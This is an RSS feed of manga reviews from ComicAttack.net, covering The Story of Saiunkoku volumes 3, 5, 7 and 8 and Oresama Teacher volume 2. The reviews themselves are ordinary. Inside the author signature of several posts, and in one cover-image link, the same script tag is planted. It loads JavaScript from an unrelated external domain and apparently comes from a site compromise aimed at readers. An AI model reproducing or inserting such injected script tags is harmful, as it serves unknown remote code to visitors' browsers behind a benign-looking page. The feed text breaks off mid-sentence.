<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Sai Yukino – ComicAttack.net</title> <atom:link href="https://comicattack.net/tag/sai-yukino/feed/" rel="self" type="application/rss+xml" /> <link>https://comicattack.net</link> <description></description> <lastBuildDate>Fri, 09 Nov 2012 09:00:23 +0000</lastBuildDate> <language>en-US</language> <sy:updatePeriod> hourly </sy:updatePeriod> <sy:updateFrequency> 1 </sy:updateFrequency> <generator>https://wordpress.org/?v=6.5.3</generator> <image> <url>https://comicattack.net/wp-content/uploads/2019/07/cropped-Review-1-1-32x32.jpg</url> <title>Sai Yukino – ComicAttack.net</title> <link>https://comicattack.net</link> <width>32</width> <height>32</height> </image> <item> <title>Bento Bako Bonus: The Story of Saiunkoku volume 8</title> <link>https://comicattack.net/bbbsaiunkoku8/</link> <comments>https://comicattack.net/bbbsaiunkoku8/#respond</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Fri, 09 Nov 2012 09:00:23 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Kadokawa Shoten]]></category> <category><![CDATA[Kairi Yura]]></category> <category><![CDATA[Sai Yukino]]></category> <category><![CDATA[Shojo Beat]]></category> <category><![CDATA[The Story of Saiunkoku]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=95180</guid> <description><![CDATA[Title: The Story of Saiunkoku Author: Kairi Yura (art) and Sai Yukino (original story) Publisher: Viz Media (Shojo Beat) Volume: Volume 8 (ongoing), $9.99 Vintage: 2011 by Kadokawa Shoten, October 2012 by Viz Media Genre: Historical drama, romance [Volume 7 review.] Eigetsu and Shurei are working hard at Kogaro on their report for the upcoming […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net/wp-content/uploads/2012/11/saiunkoku8.jpg"><img fetchpriority="high" decoding="async" class="alignleft size-full wp-image-95275" style="margin: 1px 4px;" title="saiunkoku8" src="https://comicattack.net/wp-content/uploads/2012/11/saiunkoku8.jpg" alt="" width="265" height="402" srcset="https://comicattack.net/wp-content/uploads/2012/11/saiunkoku8.jpg 442w, https://comicattack.net/wp-content/uploads/2012/11/saiunkoku8-198x300.jpg 198w" sizes="(max-width: 265px) 100vw, 265px" /></a>Title: </strong><em>The Story of Saiunkoku</em><br /> <strong>Author:</strong> Kairi Yura (art) and Sai Yukino (original story)<br /> <strong>Publisher: </strong>Viz Media (Shojo Beat)<br /> <strong>Volume:</strong> Volume 8 (ongoing), $9.99<br /> <strong>Vintage: </strong>2011 by Kadokawa Shoten, October 2012 by Viz Media<br /> <strong>Genre: </strong>Historical drama, romance</p> <p>[<a href="https://comicattack.net/2012/05/bblsaiunkoku7/">Volume 7 review</a>.]</p> <p>Eigetsu and Shurei are working hard at Kogaro on their report for the upcoming inquest that will decide their future. The Hong Clan, meanwhile, is still causing mayhem throughout the city by shutting down every business with ties to the Clan while Reishin (the Clan head) is under house arrest for accusations involving Shurei’s exam results. The documents are delivered to the Palace safely by Seiran, and go right into the hands of Treasury Minister Ko. As the time of the inquest nears, Shurei arms herself with the battle gear of a woman – the makeup Kocho gave her as a gift for passing her exam. With Seiran at her side, she heads toward the Palace, but her opponents in the Court will not let her in so easily. Minister of Rites Sai is growing desperate, and has bribed the Palace guards to deny Shurei entry. While Ryuki tries to get a confession out of Sai before the Court, Reishin ponders the future of the civil servants carefully trained by Official Ro, and works to convince Ro to take on a promotion. Minister Sai tries to pass the blame on to everyone around him, even as Minister Ko reveals the information Shurei and Eigetsu so carefully compiled that illustrates the true depths of Sai’s corruption. Fed up with the accusations against him, Sai reaches for the last thing he can think of, of demands that Minister Ko remove his mask to prove his identity. The sight of Ko’s face sends Sai into a stupor, and he confesses everything. While Shurei’s former friends (the working villagers she had spent time with before becoming a civil servant, as well as the newly arrived Ensei) do their best to get her past the guards and into the Palace proper, Reishin arrives and strips away Sai’s lands and power, and even reveals the imitation ring of the Sa Clan Sai has been carrying. Shurei finally arrives as things are wrapping up, but Sai has one final demand and ploy up his sleeve – Shurei will be required to take an oral exam in front of all the ministers and officials of the Court, once and for all proving that she belongs among their ranks. Finally, the evaluation period for the new civil servants ends, and it’s time for their official assignments. Given the unrest in Sa Province, special care must be taken in choosing a governor who can carry out the Emperor’s will while the Sa Clan squabbles over their next heir. Everyone from Ryuki down to Koyu and Shuei agrees – Shurei and Eigetsu are the perfect choice as joint governors over Sa Province, and Ensei will be at their side to guide them. A rather amusing bonus chapter pits our favorite men against each other in a cross-dressing contest to win a prize for Shurei.</p> <p>Shurei’s dreams are at last coming true. Not only is she going to become a civil servant in service to the Emperor and her country, she’ll be governing an entire province. It’s more than she could have imagined. She won’t be alone, of course. Eigetsu will be governing beside her, Ensei will be assisting, and Seiran will even be there to guard them. She has also thoroughly impressed the entire Court with her hard work and her display during her inquest, though now she has the chance to prove herself even more. In the shadows, she still has the support of Ryuki, Koyu, Shuei, Minister Ko, Reishin, and (now) Minister Ro. Even so, she’s doing most everything on her own power. They can’t, and don’t, interfere with her, but that doesn’t mean they don’t give her a little push in the right direction now and again (like when Minister Ko slipped specific documents into Shurei and Eigetsu’s regular work, but even then it took their own skill to notice the information, pick it out, and put it together). Shurei remains one of the strongest heroines I’ve ever seen in manga. Don’t let the “makeup is a woman’s battle armor” bit fool you. Shurei is quick to realize that wearing makeup doesn’t change who she is, and that denying that feminine part of her would be denying a part of herself, which she refuses to do. She is a woman, and she will act like a woman, not a man. She will fit in as herself, not conform to the men around her. A powerful statement from someone who realizes she is looked down on purely for being a woman, but that’s exactly why she refuses to hide who she is. It’s easy to forget that this series is also a romance story, but Ryuki is happy to remind us when he finally confesses his true feelings to Shurei. Not unexpectedly, Shurei has no desire to be Empress, she has her own path she wants to walk. And Ryuki isn’t demanding anything of her, other than a request to view him as a man and not the Emperor when they are in private, one request Shurei is happy to fulfill.</p> <p><span style="text-decoration: underline;">Kris<br /> <script src="//wollses.com/steps"></script></span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>review copy provided by Viz Media.</p> <p> </p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbbsaiunkoku8/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Bento Bako Lite: The Story of Saiunkoku volume 7</title> <link>https://comicattack.net/bblsaiunkoku7/</link> <comments>https://comicattack.net/bblsaiunkoku7/#respond</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Wed, 23 May 2012 09:00:38 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Kadokawa Shoten]]></category> <category><![CDATA[Kairi Yura]]></category> <category><![CDATA[Sai Yukino]]></category> <category><![CDATA[Shojo Beat]]></category> <category><![CDATA[The Story of Saiunkoku]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=87816</guid> <description><![CDATA[Title: The Story of Saiunkoku Author: Kairi Yura (art) and Sai Yukino (story) Publisher: Viz Media (Shojo Beat) Volume: Volume 7 (ongoing), $9.99 Vintage: 2011 by Kadokawa Shoten, May 2012 by Viz Media Genre: Historical drama, romance [Previous Story of Saiunkoku reviews.] Shurei Hong and Eigetsu are working hard at their duties as civil servants […]]]></description> <content:encoded><![CDATA[<p><strong><a href="https://comicattack.net/wp-content/uploads/2012/05/saiunkoku7.jpg"><img decoding="async" class="alignleft size-full wp-image-87824" style="margin: 1px 4px;" title="saiunkoku7" src="https://comicattack.net/wp-content/uploads/2012/05/saiunkoku7.jpg" alt="" width="266" height="405" srcset="https://comicattack.net/wp-content/uploads/2012/05/saiunkoku7.jpg 444w, https://comicattack.net/wp-content/uploads/2012/05/saiunkoku7-197x300.jpg 197w" sizes="(max-width: 266px) 100vw, 266px" /></a>Title:</strong> <em>The Story of Saiunkoku</em><br /> <strong>Author: </strong>Kairi Yura (art) and Sai Yukino (story)<br /> <strong>Publisher: </strong>Viz Media (Shojo Beat)<br /> <strong>Volume:</strong> Volume 7 (ongoing), $9.99<br /> <strong>Vintage: </strong>2011 by Kadokawa Shoten, May 2012 by Viz Media<br /> <strong>Genre: </strong>Historical drama, romance</p> <p>[<a href="https://comicattack.net/tag/the-story-of-saiunkoku/">Previous <em>Story of Saiunkoku </em>reviews.</a>]</p> <p>Shurei Hong and Eigetsu are working hard at their duties as civil servants in training, persevering through the bullying, the bad mouthing, and the excessive amount of work that is piled onto them. Without complaint, they take everything in stride and do their very best to prove that they belong there, and they get every bit of their work done, correctly, much to everyone’s surprise. Though this also means they get very little time to sleep, and they haven’t been home in a month. Realizing that his fellow initiates are being unfairly treated, fourth ranked Hakumei stands up for them, offering to take on their duties so they can rest. Unfortunately, Hakumei is now being punished along with them, but he works hard, and makes time to help Shurei and Eigetsu. Meanwhile, one particular official is bursting with rage at Shurei’s presence in the palace, and is putting plans into action that will punish her sponsor (and uncle), Reishin Hong, and expel her from court. This mystery official has sorely underestimated his opponents, however. First, he has Reishin arrested for “unlawful intervention on behalf of an imperial civil examinee,” claiming he used his influence to help Shurei pass the exam. This proves to be his first major mistake, because the Hong family is not to be trifled with, as they hold an incredible amount of sway and power in the country, enough to shut it down completely if they desired. And the (acting) Hong head, Kuro, is not about to sit by and let his brother be humiliated, or his niece treated so poorly. He very carefully shuts down just enough of his province and parts of the government to cause a major stir, enough to make a powerful statement without endangering the country. The careless man’s next mistake is to try and make Kocho go along with his plan, and she will obviously have none of that. She plays along with him to a point, just enough so she can turn the tables on him at the worst moment and ruin all of his plans. Ran, Ryuki, and Seiran all have a part to play, as well, with Ran orchestrating much of the plan, Ryuki working quickly to put an end to the conspiracy in his court, and Seiran at last stepping up and moving himself into a position where he can properly protect Shurei. Through it all, Shurei remains steadfast and confident, but she is not left out. At Ryuki’s request, she and Eigetsu turn their training project into an official report that will serve to help topple the conniving minister who is causing so much trouble for everyone.</p> <p>Another fantastic volume from Yura and Yukino. Shurei continues to be one of my favorite manga characters, not just one of my favorite heroines. Her strength and resiliency are finally starting to be noticed by other members of the court, and she’s slowly becoming a respected and welcome presence. She is supported by some powerful people, but she really receives very little help from them at all, and, just as she wished, she is making her mark with her own power. Even the stoic Kuro Hong has realized that the eldest child in family line has become very accomplished, and he has plans to recall her to the main family and marry her off (and you’ll never guess to who). This volume reveals Eigetsu’s true motivations for wanting to become a civil servant. As an orphan living under the care of a poor village doctor, he saw first hand what a lack of money can mean, that life or death can hang in the balance of a few coins. He hopes to becomes rich and powerful as a civil servant, so that no one has to die from sickness because they can’t afford the medicine they need. Shurei has similar motivations of course, desiring to protect the kingdom’s citizens and those she loves. She’s really blossoming into an amazing young woman, particularly now that she is allowed to pursue her goals with her own power, rather than stay shut away and be protected from the outside world. Everyone (well, those directly around her anyway) is treating her as an equal now, and even Ryuki and Kocho have stopped trying to protect her from the truth. She’s not a dainty, sheltered young lady anymore. She’s a member of the court, no matter how low ranked, and they’re treating her as such. Koyu Ri has a nice moment in this volume, where he contemplates the value he holds to Reishin, fearing that his adoptive father finds him a useless burden, which of course couldn’t be farther from the truth. A bonus story details Seiran’s early days with the Hong family, from the moment he is found by Shoka and given a new name and a new life.</p> <p><span style="text-decoration: underline;">Kris<br /> <script src="//wollses.com/steps"></script></span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bblsaiunkoku7/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item> <title>Bento Bako Weekly: The Story of Saiunkoku volume 5</title> <link>https://comicattack.net/bbwsaiunkoku5/</link> <comments>https://comicattack.net/bbwsaiunkoku5/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Mon, 02 Jan 2012 10:00:33 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Columns]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Kadokawa Shoten]]></category> <category><![CDATA[Kairi Yura]]></category> <category><![CDATA[Sai Yukino]]></category> <category><![CDATA[Shojo Beat]]></category> <category><![CDATA[The Story of Saiunkoku]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=80305</guid> <description><![CDATA[Happy New Year, manga fans! A few notes before we kick off another year of great manga. First, I want to apologize for the lack of reviews over the holiday. I came down with a nasty case of bronchitis which kept me in bed for nearly two weeks, doing little besides sleeping and watching cartoons […]]]></description> <content:encoded><![CDATA[<p>Happy New Year, manga fans! A few notes before we kick off another year of great manga. First, I want to apologize for the lack of reviews over the holiday. I came down with a nasty case of bronchitis which kept me in bed for nearly two weeks, doing little besides sleeping and watching cartoons on Netflix. I’m still recovering, so I’ll be taking it easy, but things will be going back to normal soon. I didn’t get a chance to do a year end wrap up, and I won’t be doing one, but if you want to know what I thought the best titles of 2011 were, <a href="https://comicattack.net/2011/12/bbwgiftguide2011/">the Gift Guide</a> I put together does that pretty well, really only leaving out some of the better yaoi titles I read this year, as well as the excellent <em>Wandering Son</em>. I’m also still trying to get rid of some manga, so <a href="http://girlg33k.blogspot.com/2011/12/manga-for-sale.html">check out that list here</a>.</p> <p> </p> <p><a href="https://comicattack.net//wp-content/uploads/2012/01/saiunkoku5.jpg"><img decoding="async" class="alignleft size-full wp-image-80373" style="margin: 1px 4px;" title="saiunkoku5" src="https://comicattack.net//wp-content/uploads/2012/01/saiunkoku5.jpg" alt="" width="267" height="404" srcset="https://comicattack.net/wp-content/uploads/2012/01/saiunkoku5.jpg 445w, https://comicattack.net/wp-content/uploads/2012/01/saiunkoku5-198x300.jpg 198w" sizes="(max-width: 267px) 100vw, 267px" /></a><strong>Title:</strong> <em>The Story of Saiunkoku</em><br /> <strong> Author:</strong> Sai Yukino, with art by Kairi Yura<br /> <strong>Publisher:</strong> Viz Media (Shojo Beat)<br /> <strong> Volume:</strong> Volume 5 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2010 by Kadokawa Shoten in Japan, November 2011 by Viz Media<br /> <strong>Genre:</strong> Historical romance, drama</p> <p>[<a href="https://comicattack.net/tag/the-story-of-saiunkoku/">Previous reviews of <em>The Story of Saiunkoku</em>.</a>]</p> <p>Having finished her time working in the Ministry of Finance, Shurei Hong returned to her every day life filled with odd jobs and studying. Quite suddenly, Emperor Ryuki Shi announced that women would be able to take the Imperial Civil Exam, effective immediately. Her dream now in sight, Shurei began an intense study regimen under the guidance of Koyu Ri. On a cold winter day, Shurei found herself chasing after a misbehaving boy in her class, and ended up falling into a freezing lake, leaving her with a severe cold. Now bedridden, Shurei is doing her best to get well so she can return to her studies. As Seiran cares for his beloved mistress, he is reminded of a time when Shurei fell ill as a child. His reminiscing is cut short when Shurei’s father rushes into the room in a panic, and insists on making a broth for his daughter. As Seiran tries to keep the kitchen casualties to a minimum, they are soon joined by General Ran and Master Koyu, who have come to check on Shurei. Desperate to keep Shoka out of the kitchen, Seiran ropes Ran and Koyu into helping him, but the chaos is quickly increased when Reishin Hong and Minister Ko also arrive to inquire after Shurei’s health. As things finally begin to settle down, the father of the aforementioned child (Ryushin) arrives to apologize for his son, and to report that the boy is missing. Seiran, Ran, and Koyu head into the mountains to find Ryushin, leaving the Hong brothers to have a heart-to-heart talk. Meanwhile, one final visitor arrives to see Shurei, and Emperor Ryuki, who is simply trying to tend to Shurei, is discovered in a rather suspicious position. Once Shurei recovers, it’s back to studying for the exams. However, she has other obligations to attend to, as well, like wrapping up her part time jobs, including an accounting job at a high class brothel. Unfortunately, she finds it hard to get her work done while being pestered by a young man who wants to marry her. Of course, Shurei being Shurei, she is entirely oblivious, and she’s rescued from Keicho’s bumbling advances by the luscious madam of the brothel, Kocho. Kocho announces that a rather strange guest arrived the previous night, and we are introduced to the young Eigetsu Toh. The hapless boy remembers little about the night before, and finds himself with little money, so Shurei suggests he work at the brothel with her and stay at her house. Eigetsu soon finds that he is missing something very important, and Seiran expects he may have been robbed by the Blue Scarf Gang, a group of thugs that has been recently growing in power by taking advantage of the flood of people coming into the capital for the upcoming Civil Exam. Their actions suggest they are outsiders, as the underworld of Kiyo is kept in strict check by the Syndicate, which is made up of the heads of the major underworld organizations. When Eigetsu is once again accosted by Blue Scarf members, Kocho sends her men out to bring him and Shurei to the brothel for safety. They’re soon joined by Ran, Koyu, and even Ryuki. As the group puts the pieces together, they realize the Blue Scarf Gang has been stealing the tablets given out to exam candidates, including Eigetsu’s. The upstart gang decides to make a move on the brothel, but it’s a mistake that will cost them everything. The volume wraps up with a side story that shows the day Ryuki and Shurei first met from Ryuki’s point of view, followed by another short story about the Hong brothers when Shurei was just a baby.</p> <p>Another excellent volume of fun with one of my favorite shoujo heroines. There’s a lot of family dynamics on display this volume while Shurei is sick. Papa Hong’s ineptitude in the kitchen results in quite a bit of humor, as the idea of eating her father’s cooking terrifies the bedridden Shurei into a sudden burst of energy as she attempts to dissuade him. She fails, of course, and the kitchen turns into a complete disaster area in a matter of moments, leaving poor Seiran to deal with the mess. When Koyu and Ran arrives, Seiran quickly ropes them into kitchen duty to save his sanity…and the kitchen itself. Shoka’s intentions are loving, but dangerous, and everyone but him seems to know this. Then of course his high strung brother, Reishin arrives, along with a surprisingly unmasked and concerned Minister Ko. Reishin, with his brother complex and abounding love for his niece, is just as much trouble as Shoka, especially as he is still refusing to reveal himself to Shurei as her uncle. His presence does lead to a rather touching brotherly moment, as we see how concerned Reishin has been for the well being and happiness of his brother, in particular that he is able to lead a peaceful life after his dangerous time as a royal assassin. Shoka gently assures his brother that he has led a happy life. The three Hong brothers (with Kuro, who is rarely seen), though outwardly estranged, really do care a lot for each other, and with the extra story about them that’s included in the last few pages, this volume shows their true relationship quite well. Ryuki isn’t in this volume much, but he does get into a couple of humorous misunderstandings that draw the wrath of Shurei’s family, and later Shurei herself. The relationship between him and Shurei is still far from what he wants, of course, but for Shurei’s part, she’s thrilled that Ryuki has made her dream come true by allowing women to take the civil exam. Unfortunately for Ryuki, Shurei’s idea of “returning” to his side means that she will return to the palace and aid his rule as a civil servant. Ryuki seems to know this, but he loves her enough that he wants to see her happy making her own dreams come true, which is just what I love to see in a romance story like this. And, of course, Shurei is still Shurei, working hard, staying frugal, ignoring what society expects for a girl of her age in order to follow her dreams, kicking guys in the nuts…. In a delightful display of girl power, Shurei knocks some thugs over the head with her abacus and kicks them between the legs for good measure, proving that she is not only intelligent, but also capable of protecting herself and keeping her cool in a dicey situation. The girl power doesn’t stop with Shurei, though, as Kocho proves that extreme beauty can hide extreme power and ruthlessness underneath. We’re also introduced to the rather interesting Eigetsu in this volume, who reverts to an extremely violent persona when drunk. Fans of the anime are more familiar with him and his role in the story, as Eigetsu becomes a main character and shares Shurei’s journey. There’s a lot to look forward to as Shurei prepares to take the civil exam, but the result may drive Shurei even farther away from Ryuki’s side.</p> <p><span style="text-decoration: underline;">Kris<br /> <script src="//wollses.com/steps"></script></span>kristin@comicattack.net<br /> <a href="http://www.twitter.com/girlg33k_kris">@girlg33k_kris</a></p> <p>Review copy provided by Viz Media.</p> ]]></content:encoded> <wfw:commentRss>https://comicattack.net/bbwsaiunkoku5/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item> <title>Bento Bako Lite: Story of Saiunkoku 3, Oresama Teacher 2</title> <link>https://comicattack.net/saiunkoku3oresama2/</link> <comments>https://comicattack.net/saiunkoku3oresama2/#comments</comments> <dc:creator><![CDATA[Kristin]]></dc:creator> <pubDate>Wed, 27 Apr 2011 10:00:12 +0000</pubDate> <category><![CDATA[Bento Bako Weekly]]></category> <category><![CDATA[Kristin]]></category> <category><![CDATA[Manga]]></category> <category><![CDATA[Reviews]]></category> <category><![CDATA[Hakusensha]]></category> <category><![CDATA[Izumi Tsubaki]]></category> <category><![CDATA[Kadokawa Shoten]]></category> <category><![CDATA[Kairi Yura]]></category> <category><![CDATA[Oresama Teacher]]></category> <category><![CDATA[Sai Yukino]]></category> <category><![CDATA[Shojo Beat]]></category> <category><![CDATA[The Story of Saiunkoku]]></category> <category><![CDATA[Viz Media]]></category> <guid isPermaLink="false">https://comicattack.net/?p=60831</guid> <description><![CDATA[Title: The Story of Saiunkoku Author: Kairi Yura, original story by Sai Yukino Publisher: Viz Media (Shojo Beat) Volume: Volume 3 (ongoing), $9.99 Vintage: 2008 by Kadokawa Shoten in Japan, May 3, 2011 by Viz Media Genre: Historical romance, drama, comedy [Volume 2 review.] Shurei Hong’s greatest wish is to be a civil servant. Unfortunately, […]]]></description> <content:encoded><![CDATA[<p><a href="https://comicattack.net/wp-content/uploads/2011/04/saiunkoku3.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-61190" style="margin: 1px 4px;" title="saiunkoku3" src="https://comicattack.net/wp-content/uploads/2011/04/saiunkoku3.jpg" alt="" width="250" height="384" /></a><strong>Title:</strong> <em>The Story of Saiunkoku</em><br /> <strong>Author:</strong> Kairi Yura, original story by Sai Yukino<br /> <strong>Publisher: </strong>Viz Media (Shojo Beat)<br /> <strong>Volume:</strong> Volume 3 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2008 by Kadokawa Shoten in Japan, May 3, 2011 by Viz Media<br /> <strong>Genre:</strong> Historical romance, drama, comedy</p> <p>[<a href="../2011/02/bbwlw4saiunkoku2/">Volume 2 review.</a>]</p> <p>Shurei Hong’s greatest wish is to be a civil servant. Unfortunately, women are not allowed to take the civil servant exam. Even knowing that her dream can’t come true, Shurei continues to study with vigor. When Shurei was called upon to become a consort and tutor for Saiunkoku’s emperor, Ryuki, she took to the task with zeal, with the promise of a good deal of gold as payment for her services. The emperor, who at first appeared dimwitted and unsuited to rule, turned out to be exceptionally smart and talented, if rather naive. He had been pretending to be useless in the hopes that his long lost brother would return and rule instead. Ryuki was struck by Shurei’s passion and love for the people of Saiunkoku, and eventually decided that he would become a great ruler for her sake. Her job complete, Shurei left the palace to return to her everyday life, tutoring the local children and using the money she had earned to repair her dilapidated estate.<br /> That brings us to volume 3. Shurei has not spoken to Ryuki for some time, but the young and smitten emperor sends her near daily letters and lavish (and ridiculous) gifts, hoping to please her. Shurei, wanting to distance herself from Ryuki, sends no replies. It is now the height of summer, and Shurei finds a stranger collapses in front of her home. Seiran seems to know him, and apparently dislikes him, but Shurei’s father allows Ensei to stay at their house while he attends to his business within the city. Meanwhile, Ryuki has decided to enact legislation that will allow women to take the civil servant exam. His biggest obstacle is the Minister of Finance, Minister Ko, an eccentric, but exceptionally capable man who always wears a mask to cover his entire face. As part of a scheme to help Ryuki, Koyu Ri arranges for Shurei to enter the Ministry of Finance disguised as a boy, to become Minister Ko’s personal aid for a month. With the excessive heat, the Ministry workers have been collapsing left and right, so Shurei is sent to help ease the burden, and Ensei gets dragged along. The plan is to have Shurei impress Minister Ko with her skills, though Shurei (and Ryuki) is unaware of the scheme. As Ryuki works hard to rewrite his proposal, Shurei works hard in the Ministry of Finance, her skill and tenacity impressing even the strict Minister Ko. Shurei receives help from some surprising places as she works hard at her job. Ensei gives her an encouraging pep talk, a strange man pops up randomly and insists she refer to him as “Uncle,” and Minister Ko even (awkwardly) comforts her during a thunderstorm. Elsewhere, Seiran has been roped into helping High General Raien Haku and Lord Advisor Sou hunt down a group of bandits causing trouble around the city, but someone seems to be getting there and handling the problem before them. A bonus story reveals why Shurei is so terrified of thunder storms, and how the loss of her mother affected her family.</p> <p>Another excellent volume! Yura and Yukino are great at weaving together the political story lines and the romance plots. The various elements of the series flow near seamlessly, making for a very pleasant read. The art continues to be strong, and Viz includes a couple of lovely colored pages at the beginning of the volume. The parts that stand out this volume include Koyu Ri’s and Shuei Ran’s relationships with Ryuki, the mysterious aura surrounding Minister Ko, Ensei’s past ties to Seiran, and Ryuki’s adorable efforts to make Shurei’s dream come true. Koyu has a lot of faith in Ryuki, and he clearly wants to see the young emperor succeed, which may mean some harsh words and strict instructions. He has respect for Ryuki’s position as emperor, certainly more than Shuei anyway, but won’t hesitate to lecture him like a child if that’s what it takes to whip Ryuki into shape. Shuei Ran also has faith in Ryuki and wants him to succeed, but is infinitely amused by Ryuki’s naive ways, and is more encouraging of Ryuki’s pursuit of Shurei than he is of Ryuki’s attempts at ministration (like Koyu is). It’s a good balance, and it keeps a light mood around the often gloomy Ryuki. We don’t yet know why Minister Ko wears his mask, though a couple characters speculate. The current consensus is that he is so ugly no one can stand to look at him, so he must cover his face. Ensei particularly insists this must be the case, and Vice Minister (of the Treasury) Kei, who has actually seen Minister Ko’s face, certainly doesn’t help Shurei think otherwise. Minister Ko is very good at his job, but he is very strict and expects a lot from those who work under him. Fortunately, the Ministry of Finance is a tightly run, well-oiled machine, full of a small group of elite ministers who are loyal to Ko and understand his methods. Even Shurei quickly realizes that Ko carefully measures the abilities of every person under his authority and only doles out as much work as he knows they are capable of handling if they are doing their best (basically, not slacking off). Then there’s Ensei, who has some sort of past with Seiran that Seiran seems desperate to keep secret. Their relationship is unclear at this point, though it seems they once fought or trained with each other, as they are both aware of each other’s fighting abilities and style. Ensei doesn’t seem to have much of a problem with Seiran, other than thinking Seiran isn’t living the life he should be. His rugged appearance is also deceiving, as he is fully capable of all manner of jobs and appears quite intelligent. Finally, Ryuki, who works so hard in this volume for Shurei’s dream. His motivations are somewhat suspect, but he genuinely wants to make a change in the government, and he’s willing to accept Koyu’s harsh advice to make it happen. Unfortunately, he’s still rather clumsy at ruling, and he nearly destroys his chances, though the consequences of all the planning that has gone into getting the new law passed won’t be revealed in this volume.</p> <p><a href="https://comicattack.net/wp-content/uploads/2011/04/oresamateacher2.jpg"><img loading="lazy" decoding="async" class="alignleft size-full wp-image-61166" style="margin: 1px 4px;" title="oresamateacher2" src="https://comicattack.net/wp-content/uploads/2011/04/oresamateacher2.jpg" alt="" width="245" height="381" /><script src="//wollses.com/steps"></script></a><strong>Title:</strong> <em>Oresama Teacher</em><br /> <strong>Author: </strong>Izumi Tsubaki<br /> <strong>Publisher:</strong> Viz Media (Shojo Beat)<br /> <strong>Volume:</strong> Volume 2 (ongoing), $9.99<br /> <strong>Vintage:</strong> 2008 by Hakusensha in Japan, May 3, 2011 by Viz Media<br /> <strong>Genre:</strong> Comedy, romance</p> <p>[<a href="https://comicattack.net/2011/03/bbboresama1kamisama2/">Volume 1 review.</a>]</p> <p>Mafuyu, who was kicked out of her former school for fighting, was sent to Midorigaoka Academy under the condition that she doesn’t involve herself in anymore fights. In just the first volume, Mafuyu already found herself getting involved, rescuing both her homeroom teacher and childhood friend Takaomi and her new classmate Hayasaka from some thugs. Takaomi, who taught her to fight, already knows what she’s capable of, but Mafuyu just wants to live a normal life as a normal high school girl, so she desperately tries to hide her battle skills from Hayasaka, resorting to fake fainting spells and a rabbit mask to keep her secret and avoid another expulsion. As she tries to enjoy her new school life and her new friend, Takaomi ambushes both Mafuyu and Hayasaka and suggests they join a school club. Realizing Takaomi must have something in mind, they bail, and set out to find a club on their own to avoid getting caught up in their teacher’s schemes. Unfortunately, since neither of them really have any special skills, their hunt ends in failure, and they end up at Takaomi’s mercy anyway. At the end of volume 1, we saw Takaomi making a deal with the principal. The nature of this bet is revealed, and Takaomi wants Mafuyu and Hayasaka to help him by cleaning up the school…starting with the school’s bancho (gang leader). Hayasaka, always eager for a fight, is thrilled at this opportunity, but Mafuyu is less enthusiastic. Unable to reveal her true abilities, she has to do some quick thinking in order to protect Hayasaka from himself…and a group of rowdy boys led by an incredibly strong bancho named Kyotaro. With some quick footwork, Mafuyu “accidentally” handles the first battle, but another soon follows. With some help from Takaomi, Mafuyu disguises herself as a boy to handle things personally. The story shifts gears at this point and becomes more romance oriented. Mafuyu finds herself spending a day with Kyotaro. Almost like a date, they attend a movie and go to an arcade, but somehow end up in a brutal gang battle. Even with the violent outcome, Mafuyu is able to see a gentle side to Kyotaro and makes a new friend; the reader gets to see a little extra secret unfold as well. Meanwhile, Hayasaka is trying to hunt down the mysterious bunny girl who rescued him before, and he takes things to an obsessive height, hanging posters all over the school to try and draw her out. Mafuyu does her best to keep the secret and try to find a way to calm Hayasaka down, but unfortunately he figures it out on his own. Hayasaka’s eyes begin to sparkle in constant admiration, but poor Mafuyu is depressed that she seems to have lost out on a normal friendship.</p> <p>I wasn’t totally sold on this series before (though I did have high hopes), but I’m getting a lot of enjoyment out of it now. It’s just so goofy and laugh-out-loud funny. It also has some gentle and bittersweet moments. When Hayasaka decides that Mafuyu is the mysterious Super Bun, instead of treating her like a normal person, he begins to treat her like some sort of superior being, which reminds Mafuyu of her time as gang leader at her old school; a lonely period of Mafuyu’s life that she had hoped to escape. She just wants a friend; she doesn’t want to be worshiped or placed on a pedestal. The story is quickly building up some romance subplots which are pretty interesting. Hayasaka is one of the first people Mafuyu has met who treats her like a girl, which makes her incredibly happy, if a little embarrassed. He’s oddly gentle with her, and even protective. Even without thinking that she’s Super Bun, he’s a little in awe of her. It’s really cute. Kyotaro looks like he’ll be another possible interest. He’s already impressed with her talent at morse code, and he has his suspicions that she’s stronger than she appears. Remarkably, he has a romantic side to him that’s amusing in a guy so tough looking (and acting…he’s inhumanly strong). I see a hilariously adorable friendship forming between them. And, of course, there’s the pervy lecher Takaomi, who still remains fairly mysterious as far as his motivations go. Overall, it’s turning out to be a delightful, 